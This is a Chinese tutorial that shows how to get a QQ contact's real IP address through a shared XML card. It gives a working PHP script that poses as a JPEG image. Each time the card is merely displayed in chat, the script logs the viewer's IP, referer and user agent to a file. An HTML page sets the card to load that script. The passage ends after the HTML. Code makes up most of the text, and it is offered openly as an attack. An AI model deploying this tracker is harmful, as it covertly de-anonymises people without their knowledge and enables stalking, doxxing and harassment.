利用QQ XML卡片获取真实IP

2024-11-11

字数统计: 1.3k | 阅读时长≈ 5 分钟

前言：

QQ提供了一个卡片功能：在QQ内打开一个网页后，点右上角分享可以把此网页分享到任意群聊或好友。这种分享和直接发链接的区别是，对方在聊天框看到的不是链接文本，而是一张包含了网站缩略图、站点标题和摘要的xml卡片。分享后，对方一旦点开聊天窗口窥屏，这个卡片（还有它身上的图片）就会被显示出来，等于此人访问了站点上的一张图片。基于此原理，我们有希望在对方完全不点击链接的情况下获取对方IP地址。

一、攻击环境搭建

这里使用的攻击环境如下：

Ubuntu 22.04 VPS
Apache 2.4.52 (Ubuntu)
PHP 8.1.2-1ubuntu2.18

为了创建一张QQ卡片，我们需要一个http网站来存放攻击脚本。方便起见，这里假设你已经有了一个配置好的Apache网页服务器。

首先在网站的根目录内创建攻击脚本iptest.php如下：

<?php 

    //防注入函数
    function filter_dangerous_words($str){
        $str = str_replace("'", "‘", $str);
        $str = str_replace("\"", "“", $str);
        $str = str_replace("<", "《", $str);
        $str = str_replace(">", "》", $str);
        return $str;
    }
    
    //获取真实IP函数
    function getIP() {
        if (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
        }
        elseif (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
        }
        elseif (getenv('HTTP_X_FORWARDED')) {
        $ip = getenv('HTTP_X_FORWARDED');
        }
        elseif (getenv('HTTP_FORWARDED_FOR')) {
        $ip = getenv('HTTP_FORWARDED_FOR');
 
        }
        elseif (getenv('HTTP_FORWARDED')) {
        $ip = getenv('HTTP_FORWARDED');
        }
        else {
        $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
 
    //生成输出内容
    $ip = getIP();
    @$referer = $_SERVER['HTTP_REFERER']."\r\n";
    $ua = $_SERVER['HTTP_USER_AGENT']."\r\r";
    date_default_timezone_set("Asia/Shanghai");
    $date_ = date("Y.m.d,h:i:sa")."\r\n";
    
    //输出为hack.txt文件
    $hack = 'date: '.$date_.'ip:'.$ip."\r\n".'referer: '.$referer.'ua: '.$ua;
    $hack = filter_dangerous_words($hack);
    $op = fopen('hack.txt','a+');
    fwrite($op,$hack);
    fclose($op);
	  
	  //将此php文件伪装为一张jpg图片
	  //这样php返回的图片就会是同目录下的icon.jpg文件。
	$im = imagecreatefromjpeg("icon.jpg");
    header('Content-Type: image/jpeg');
    imagejpeg($im);
    imagedestroy($im);
 ?>

然后，为了生成卡片，我们还需要制作一个简单的网页iptest.html（与iptest.php、icon.jpg这两个文件处于同一个目录下），该网页的内容就是卡片上的内容：

<!DOCTYPE html>
<html>
<head>
	<meta itemprop="name" content="XML卡片标题" />
	<meta itemprop="description" content="XML卡片描述" />
	<meta itemprop="image" content="文件路径，本例中为iptest.php?abcdefg" />
	<title>标题</title>
</head>
<body>
</body>
</html>